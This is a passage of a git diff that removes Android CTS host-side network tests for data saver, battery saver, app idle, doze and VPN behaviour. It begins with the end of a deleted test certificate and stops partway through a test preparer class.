-MIIDAjCCAeqgAwIBAgIJAMhWwIIqr1r6MA0GCSqGSIb3DQEBCwUAMBYxFDASBgNV
-BAMMC2N0cy1uZXQtYXBwMB4XDTE4MDYyMDAyMjAwN1oXDTQ1MTEwNTAyMjAwN1ow
-FjEUMBIGA1UEAwwLY3RzLW5ldC1hcHAwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
-ggEKAoIBAQDefOayWQss1E+FQIONK6IhlXhe0BEyHshIrnPOOmuCPa/Svfbnmziy
-hr1KTjaQ3ET/mGShwlt6AUti7nKx9aB71IJp5mSBuwW62A8jvN3yNOo45YV8+n1o
-TrEoMWMf7hQmoOSqaSJ+VFuVms/kPSEh99okDgHCej6rsEkEcDoh6pJajQyUYDwR
-SNAF8SrqCDhqFbZW/LWedvuikCUlNtzuv7/GrcLcsiWEfHv7UOBKpMjLo9BhD1XF
-IefnxImcBQrQGMnE9TLixBiEeX5yauLgbZuxBqD/zsI2TH1FjxTeuJan83kLbqqH
-FgyvPaUjwckAdQPyom7ZUYFnBc0LQ9xzAgMBAAGjUzBRMB0GA1UdDgQWBBRZrBEw
-tAB2WNXj8dQ7ZOuJ34kY5DAfBgNVHSMEGDAWgBRZrBEwtAB2WNXj8dQ7ZOuJ34kY
-5DAPBgNVHRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQDeI9AnLW6l/39y
-z96w/ldxZVFPzBRiFIsJsPHVyXlD5vUHZv/ju2jFn8TZSZR5TK0bzCEoVLp34Sho
-bbS0magP82yIvCRibyoyD+TDNnZkNJwjYnikE+/oyshTSQtpkn/rDA+0Y09BUC1E
-N2I6bV9pTXLFg7oah2FmqPRPzhgeYUKENgOQkrrjUCn6y0i/k374n7aftzdniSIz
-2kCRVEeN9gws6CnoMPx0vr32v/JVuPV6zfdJYadgj/eFRyTNE4msd9kE82Wc46eU
-YiI+LuXZ3ZMUNWGY7MK2pOUUS52JsBQ3K235dA5WaU4x8OBlY/WkNYX/eLbNs5jj
-FzLmhZZ1
------END CERTIFICATE-----
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
deleted file mode 100644
index 1312085..0000000
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkCallbackTests.java
+++ /dev/null
@@ -1,42 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net;
-public class HostsideNetworkCallbackTests extends HostsideNetworkTestCase {
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-        uninstallPackage(TEST_APP2_PKG, false);
-        installPackage(TEST_APP2_APK);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-        uninstallPackage(TEST_APP2_PKG, true);
-    }
-
-    public void testOnBlockedStatusChanged_dataSaver() throws Exception {
-        runDeviceTests(TEST_PKG,
-                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_dataSaver");
-    }
-
-    public void testOnBlockedStatusChanged_powerSaver() throws Exception {
-        runDeviceTests(TEST_PKG,
-                TEST_PKG + ".NetworkCallbackTest", "testOnBlockedStatusChanged_powerSaver");
-    }
-}
-
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java b/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
deleted file mode 100644
index ce20379..0000000
--- a/hostsidetests/net/src/com/android/cts/net/HostsideNetworkTestCase.java
+++ /dev/null
@@ -1,186 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net;
-
-import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
-import com.android.ddmlib.Log;
-import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
-import com.android.ddmlib.testrunner.TestResult.TestStatus;
-import com.android.tradefed.build.IBuildInfo;
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.result.CollectingTestListener;
-import com.android.tradefed.result.TestDescription;
-import com.android.tradefed.result.TestResult;
-import com.android.tradefed.result.TestRunResult;
-import com.android.tradefed.testtype.DeviceTestCase;
-import com.android.tradefed.testtype.IAbi;
-import com.android.tradefed.testtype.IAbiReceiver;
-import com.android.tradefed.testtype.IBuildReceiver;
-
-import java.io.FileNotFoundException;
-import java.util.Map;
-import java.util.regex.Matcher;
-import java.util.regex.Pattern;
-
-abstract class HostsideNetworkTestCase extends DeviceTestCase implements IAbiReceiver,
-        IBuildReceiver {
-    protected static final boolean DEBUG = false;
-    protected static final String TAG = "HostsideNetworkTests";
-    protected static final String TEST_PKG = "com.android.cts.net.hostside";
-    protected static final String TEST_APK = "CtsHostsideNetworkTestsApp.apk";
-    protected static final String TEST_APP2_PKG = "com.android.cts.net.hostside.app2";
-    protected static final String TEST_APP2_APK = "CtsHostsideNetworkTestsApp2.apk";
-
-    private IAbi mAbi;
-    private IBuildInfo mCtsBuild;
-
-    @Override
-    public void setAbi(IAbi abi) {
-        mAbi = abi;
-    }
-
-    @Override
-    public void setBuild(IBuildInfo buildInfo) {
-        mCtsBuild = buildInfo;
-    }
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        assertNotNull(mAbi);
-        assertNotNull(mCtsBuild);
-
-        uninstallPackage(TEST_PKG, false);
-        installPackage(TEST_APK);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        uninstallPackage(TEST_PKG, true);
-    }
-
-    protected void installPackage(String apk) throws FileNotFoundException,
-            DeviceNotAvailableException {
-        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
-        assertNull(getDevice().installPackage(buildHelper.getTestFile(apk),
-                false /* reinstall */, true /* grantPermissions */));
-    }
-
-    protected void uninstallPackage(String packageName, boolean shouldSucceed)
-            throws DeviceNotAvailableException {
-        final String result = getDevice().uninstallPackage(packageName);
-        if (shouldSucceed) {
-            assertNull("uninstallPackage(" + packageName + ") failed: " + result, result);
-        }
-    }
-
-    protected void assertPackageUninstalled(String packageName) throws DeviceNotAvailableException,
-            InterruptedException {
-        final String command = "cmd package list packages " + packageName;
-        final int max_tries = 5;
-        for (int i = 1; i <= max_tries; i++) {
-            final String result = runCommand(command);
-            if (result.trim().isEmpty()) {
-                return;
-            }
-            // 'list packages' filters by substring, so we need to iterate with the results
-            // and check one by one, otherwise 'com.android.cts.net.hostside' could return
-            // 'com.android.cts.net.hostside.app2'
-            boolean found = false;
-            for (String line : result.split("[\\r\\n]+")) {
-                if (line.endsWith(packageName)) {
-                    found = true;
-                    break;
-                }
-            }
-            if (!found) {
-                return;
-            }
-            i++;
-            Log.v(TAG, "Package " + packageName + " not uninstalled yet (" + result
-                    + "); sleeping 1s before polling again");
-            Thread.sleep(1000);
-        }
-        fail("Package '" + packageName + "' not uinstalled after " + max_tries + " seconds");
-    }
-
-    protected void runDeviceTests(String packageName, String testClassName)
-            throws DeviceNotAvailableException {
-        runDeviceTests(packageName, testClassName, null);
-    }
-
-    protected void runDeviceTests(String packageName, String testClassName, String methodName)
-            throws DeviceNotAvailableException {
-        RemoteAndroidTestRunner testRunner = new RemoteAndroidTestRunner(packageName,
-                "androidx.test.runner.AndroidJUnitRunner", getDevice().getIDevice());
-
-        if (testClassName != null) {
-            if (methodName != null) {
-                testRunner.setMethodName(testClassName, methodName);
-            } else {
-                testRunner.setClassName(testClassName);
-            }
-        }
-
-        final CollectingTestListener listener = new CollectingTestListener();
-        getDevice().runInstrumentationTests(testRunner, listener);
-
-        final TestRunResult result = listener.getCurrentRunResults();
-        if (result.isRunFailure()) {
-            throw new AssertionError("Failed to successfully run device tests for "
-                    + result.getName() + ": " + result.getRunFailureMessage());
-        }
-
-        if (result.hasFailedTests()) {
-            // build a meaningful error message
-            StringBuilder errorBuilder = new StringBuilder("on-device tests failed:\n");
-            for (Map.Entry<TestDescription, TestResult> resultEntry :
-                result.getTestResults().entrySet()) {
-                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
-                    errorBuilder.append(resultEntry.getKey().toString());
-                    errorBuilder.append(":\n");
-                    errorBuilder.append(resultEntry.getValue().getStackTrace());
-                }
-            }
-            throw new AssertionError(errorBuilder.toString());
-        }
-    }
-
-    private static final Pattern UID_PATTERN =
-            Pattern.compile(".*userId=([0-9]+)$", Pattern.MULTILINE);
-
-    protected int getUid(String packageName) throws DeviceNotAvailableException {
-        final String output = runCommand("dumpsys package " + packageName);
-        final Matcher matcher = UID_PATTERN.matcher(output);
-        while (matcher.find()) {
-            final String match = matcher.group(1);
-            return Integer.parseInt(match);
-        }
-        throw new RuntimeException("Did not find regexp '" + UID_PATTERN + "' on adb output\n"
-                + output);
-    }
-
-    protected String runCommand(String command) throws DeviceNotAvailableException {
-        Log.d(TAG, "Command: '" + command + "'");
-        final String output = getDevice().executeShellCommand(command);
-        if (DEBUG) Log.v(TAG, "Output: " + output.trim());
-        return output;
-    }
-}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
deleted file mode 100644
index ac28c7a..0000000
--- a/hostsidetests/net/src/com/android/cts/net/HostsideRestrictBackgroundNetworkTests.java
+++ /dev/null
@@ -1,377 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net;
-
-import com.android.ddmlib.Log;
-import com.android.tradefed.device.DeviceNotAvailableException;
-
-public class HostsideRestrictBackgroundNetworkTests extends HostsideNetworkTestCase {
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        uninstallPackage(TEST_APP2_PKG, false);
-        installPackage(TEST_APP2_APK);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        uninstallPackage(TEST_APP2_PKG, true);
-    }
-
-    /**************************
-     * Data Saver Mode tests. *
-     **************************/
-
-    public void testDataSaverMode_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testGetRestrictBackgroundStatus_disabled");
-    }
-
-    public void testDataSaverMode_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testGetRestrictBackgroundStatus_whitelisted");
-    }
-
-    public void testDataSaverMode_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testGetRestrictBackgroundStatus_enabled");
-    }
-
-    public void testDataSaverMode_blacklisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testGetRestrictBackgroundStatus_blacklisted");
-    }
-
-    public void testDataSaverMode_reinstall() throws Exception {
-        final int oldUid = getUid(TEST_APP2_PKG);
-
-        // Make sure whitelist is revoked when package is removed
-        addRestrictBackgroundWhitelist(oldUid);
-
-        uninstallPackage(TEST_APP2_PKG, true);
-        assertPackageUninstalled(TEST_APP2_PKG);
-        assertRestrictBackgroundWhitelist(oldUid, false);
-
-        installPackage(TEST_APP2_APK);
-        final int newUid = getUid(TEST_APP2_PKG);
-        assertRestrictBackgroundWhitelist(oldUid, false);
-        assertRestrictBackgroundWhitelist(newUid, false);
-    }
-
-    public void testDataSaverMode_requiredWhitelistedPackages() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testGetRestrictBackgroundStatus_requiredWhitelistedPackages");
-    }
-
-    public void testDataSaverMode_broadcastNotSentOnUnsupportedDevices() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DataSaverModeTest",
-                "testBroadcastNotSentOnUnsupportedDevices");
-    }
-
-    /*****************************
-     * Battery Saver Mode tests. *
-     *****************************/
-
-    public void testBatterySaverModeMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testBatterySaverModeMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testBatterySaverModeMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    public void testBatterySaverMode_reinstall() throws Exception {
-        if (!isDozeModeEnabled()) {
-            Log.w(TAG, "testBatterySaverMode_reinstall() skipped because device does not support "
-                    + "Doze Mode");
-            return;
-        }
-
-        addPowerSaveModeWhitelist(TEST_APP2_PKG);
-
-        uninstallPackage(TEST_APP2_PKG, true);
-        assertPackageUninstalled(TEST_APP2_PKG);
-        assertPowerSaveModeWhitelist(TEST_APP2_PKG, false);
-
-        installPackage(TEST_APP2_APK);
-        assertPowerSaveModeWhitelist(TEST_APP2_PKG, false);
-    }
-
-    public void testBatterySaverModeNonMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeNonMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testBatterySaverModeNonMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeNonMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testBatterySaverModeNonMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".BatterySaverModeNonMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    /*******************
-     * App idle tests. *
-     *******************/
-
-    public void testAppIdleMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testAppIdleMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testAppIdleMetered_tempWhitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testBackgroundNetworkAccess_tempWhitelisted");
-    }
-
-    public void testAppIdleMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    public void testAppIdleMetered_idleWhitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testAppIdleNetworkAccess_idleWhitelisted");
-    }
-
-    // TODO: currently power-save mode and idle uses the same whitelist, so this test would be
-    // redundant (as it would be testing the same as testBatterySaverMode_reinstall())
-    //    public void testAppIdle_reinstall() throws Exception {
-    //    }
-
-    public void testAppIdleNonMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testAppIdleNonMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testAppIdleNonMetered_tempWhitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testBackgroundNetworkAccess_tempWhitelisted");
-    }
-
-    public void testAppIdleNonMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    public void testAppIdleNonMetered_idleWhitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testAppIdleNetworkAccess_idleWhitelisted");
-    }
-
-    public void testAppIdleNonMetered_whenCharging() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testAppIdleNetworkAccess_whenCharging");
-    }
-
-    public void testAppIdleMetered_whenCharging() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleMeteredTest",
-                "testAppIdleNetworkAccess_whenCharging");
-    }
-
-    public void testAppIdle_toast() throws Exception {
-        // Check that showing a toast doesn't bring an app out of standby
-        runDeviceTests(TEST_PKG, TEST_PKG + ".AppIdleNonMeteredTest",
-                "testAppIdle_toast");
-    }
-
-    /********************
-     * Doze Mode tests. *
-     ********************/
-
-    public void testDozeModeMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testDozeModeMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testDozeModeMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    public void testDozeModeMetered_enabledButWhitelistedOnNotificationAction() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeMeteredTest",
-                "testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction");
-    }
-
-    // TODO: currently power-save mode and idle uses the same whitelist, so this test would be
-    // redundant (as it would be testing the same as testBatterySaverMode_reinstall())
-    //    public void testDozeMode_reinstall() throws Exception {
-    //    }
-
-    public void testDozeModeNonMetered_disabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeNonMeteredTest",
-                "testBackgroundNetworkAccess_disabled");
-    }
-
-    public void testDozeModeNonMetered_whitelisted() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeNonMeteredTest",
-                "testBackgroundNetworkAccess_whitelisted");
-    }
-
-    public void testDozeModeNonMetered_enabled() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeNonMeteredTest",
-                "testBackgroundNetworkAccess_enabled");
-    }
-
-    public void testDozeModeNonMetered_enabledButWhitelistedOnNotificationAction()
-            throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".DozeModeNonMeteredTest",
-                "testBackgroundNetworkAccess_enabledButWhitelistedOnNotificationAction");
-    }
-
-    /**********************
-     * Mixed modes tests. *
-     **********************/
-
-    public void testDataAndBatterySaverModes_meteredNetwork() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testDataAndBatterySaverModes_meteredNetwork");
-    }
-
-    public void testDataAndBatterySaverModes_nonMeteredNetwork() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testDataAndBatterySaverModes_nonMeteredNetwork");
-    }
-
-    public void testDozeAndBatterySaverMode_powerSaveWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testDozeAndBatterySaverMode_powerSaveWhitelists");
-    }
-
-    public void testDozeAndAppIdle_powerSaveWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testDozeAndAppIdle_powerSaveWhitelists");
-    }
-
-    public void testAppIdleAndDoze_tempPowerSaveWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testAppIdleAndDoze_tempPowerSaveWhitelists");
-    }
-
-    public void testAppIdleAndBatterySaver_tempPowerSaveWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testAppIdleAndBatterySaver_tempPowerSaveWhitelists");
-    }
-
-    public void testDozeAndAppIdle_appIdleWhitelist() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testDozeAndAppIdle_appIdleWhitelist");
-    }
-
-    public void testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testAppIdleAndDoze_tempPowerSaveAndAppIdleWhitelists");
-    }
-
-    public void testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".MixedModesTest",
-                "testAppIdleAndBatterySaver_tempPowerSaveAndAppIdleWhitelists");
-    }
-
-    /*******************
-     * Helper methods. *
-     *******************/
-
-    private void assertRestrictBackgroundWhitelist(int uid, boolean expected) throws Exception {
-        final int max_tries = 5;
-        boolean actual = false;
-        for (int i = 1; i <= max_tries; i++) {
-            final String output = runCommand("cmd netpolicy list restrict-background-whitelist ");
-            actual = output.contains(Integer.toString(uid));
-            if (expected == actual) {
-                return;
-            }
-            Log.v(TAG, "whitelist check for uid " + uid + " doesn't match yet (expected "
-                    + expected + ", got " + actual + "); sleeping 1s before polling again");
-            Thread.sleep(1000);
-        }
-        fail("whitelist check for uid " + uid + " failed: expected "
-                + expected + ", got " + actual);
-    }
-
-    private void assertPowerSaveModeWhitelist(String packageName, boolean expected)
-            throws Exception {
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        assertDelayedCommand("dumpsys deviceidle whitelist =" + packageName,
-                Boolean.toString(expected));
-    }
-
-    /**
-     * Asserts the result of a command, wait and re-running it a couple times if necessary.
-     */
-    private void assertDelayedCommand(String command, String expectedResult)
-            throws InterruptedException, DeviceNotAvailableException {
-        final int maxTries = 5;
-        for (int i = 1; i <= maxTries; i++) {
-            final String result = runCommand(command).trim();
-            if (result.equals(expectedResult)) return;
-            Log.v(TAG, "Command '" + command + "' returned '" + result + " instead of '"
-                    + expectedResult + "' on attempt #; sleeping 1s before polling again");
-            Thread.sleep(1000);
-        }
-        fail("Command '" + command + "' did not return '" + expectedResult + "' after " + maxTries
-                + " attempts");
-    }
-
-    protected void addRestrictBackgroundWhitelist(int uid) throws Exception {
-        runCommand("cmd netpolicy add restrict-background-whitelist " + uid);
-        assertRestrictBackgroundWhitelist(uid, true);
-    }
-
-    private void addPowerSaveModeWhitelist(String packageName) throws Exception {
-        Log.i(TAG, "Adding package " + packageName + " to power-save-mode whitelist");
-        // TODO: currently the power-save mode is behaving like idle, but once it changes, we'll
-        // need to use netpolicy for whitelisting
-        runCommand("dumpsys deviceidle whitelist +" + packageName);
-        assertPowerSaveModeWhitelist(packageName, true);
-    }
-
-    protected boolean isDozeModeEnabled() throws Exception {
-        final String result = runCommand("cmd deviceidle enabled deep").trim();
-        return result.equals("1");
-    }
-}
diff --git a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java b/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
deleted file mode 100644
index 49b5f9d..0000000
--- a/hostsidetests/net/src/com/android/cts/net/HostsideVpnTests.java
+++ /dev/null
@@ -1,103 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.net;
-
-public class HostsideVpnTests extends HostsideNetworkTestCase {
-
-    @Override
-    protected void setUp() throws Exception {
-        super.setUp();
-
-        uninstallPackage(TEST_APP2_PKG, false);
-        installPackage(TEST_APP2_APK);
-    }
-
-    @Override
-    protected void tearDown() throws Exception {
-        super.tearDown();
-
-        uninstallPackage(TEST_APP2_PKG, true);
-    }
-
-    public void testDefault() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testDefault");
-    }
-
-    public void testAppAllowed() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testAppAllowed");
-    }
-
-    public void testAppDisallowed() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testAppDisallowed");
-    }
-
-    public void testGetConnectionOwnerUidSecurity() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testGetConnectionOwnerUidSecurity");
-    }
-
-    public void testSetProxy() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testSetProxy");
-    }
-
-    public void testSetProxyDisallowedApps() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testSetProxyDisallowedApps");
-    }
-
-    public void testNoProxy() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testNoProxy");
-    }
-
-    public void testBindToNetworkWithProxy() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testBindToNetworkWithProxy");
-    }
-
-    public void testVpnMeterednessWithNoUnderlyingNetwork() throws Exception {
-        runDeviceTests(
-                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNoUnderlyingNetwork");
-    }
-
-    public void testVpnMeterednessWithNullUnderlyingNetwork() throws Exception {
-        runDeviceTests(
-                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNullUnderlyingNetwork");
-    }
-
-    public void testVpnMeterednessWithNonNullUnderlyingNetwork() throws Exception {
-        runDeviceTests(
-                TEST_PKG, TEST_PKG + ".VpnTest", "testVpnMeterednessWithNonNullUnderlyingNetwork");
-    }
-
-    public void testAlwaysMeteredVpnWithNullUnderlyingNetwork() throws Exception {
-        runDeviceTests(
-                TEST_PKG, TEST_PKG + ".VpnTest", "testAlwaysMeteredVpnWithNullUnderlyingNetwork");
-    }
-
-    public void testAlwaysMeteredVpnWithNonNullUnderlyingNetwork() throws Exception {
-        runDeviceTests(
-                TEST_PKG,
-                TEST_PKG + ".VpnTest",
-                "testAlwaysMeteredVpnWithNonNullUnderlyingNetwork");
-    }
-
-    public void testB141603906() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest", "testB141603906");
-    }
-
-    public void testDownloadWithDownloadManagerDisallowed() throws Exception {
-        runDeviceTests(TEST_PKG, TEST_PKG + ".VpnTest",
-                "testDownloadWithDownloadManagerDisallowed");
-    }
-}
diff --git a/hostsidetests/net/src/com/android/cts/net/NetworkPolicyTestsPreparer.java b/hostsidetests/net/src/com/android/cts/net/NetworkPolicyTestsPreparer.java
deleted file mode 100644
index 23aca24..0000000
--- a/hostsidetests/net/src/com/android/cts/net/NetworkPolicyTestsPreparer.java
+++ /dev/null
@@ -1,92 +0,0 @@
-/*
- * Copyright (C) 2020 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.net;
-
-import com.android.tradefed.device.DeviceNotAvailableException;
-import com.android.tradefed.device.ITestDevice;
-import com.android.tradefed.invoker.TestInformation;
-import com.android.tradefed.log.LogUtil;
-import com.android.tradefed.targetprep.ITargetPreparer;
-
-public class NetworkPolicyTestsPreparer implements ITargetPreparer {
-    private ITestDevice mDevice;
-    private boolean mOriginalAirplaneModeEnabled;
-    private String mOriginalAppStandbyEnabled;
-    private String mOriginalBatteryStatsConstants;
-    private final static String KEY_STABLE_CHARGING_DELAY_MS = "battery_charged_delay_ms";
-    private final static int DESIRED_STABLE_CHARGING_DELAY_MS = 0;
-
-    @Override
-    public void setUp(TestInformation testInformation) throws DeviceNotAvailableException {
-        mDevice = testInformation.getDevice();
-        mOriginalAppStandbyEnabled = getAppStandbyEnabled();
-        setAppStandbyEnabled("1");
-        LogUtil.CLog.d("Original app_standby_enabled: " + mOriginalAppStandbyEnabled);
-
-        mOriginalBatteryStatsConstants = getBatteryStatsConstants();
-        setBatteryStatsConstants(
-                KEY_STABLE_CHARGING_DELAY_MS + "=" + DESIRED_STABLE_CHARGING_DELAY_MS);
-        LogUtil.CLog.d("Original battery_saver_constants: " + mOriginalBatteryStatsConstants);
-
-        mOriginalAirplaneModeEnabled = getAirplaneModeEnabled();
-        // Turn off airplane mode in case another test left the device in that state.
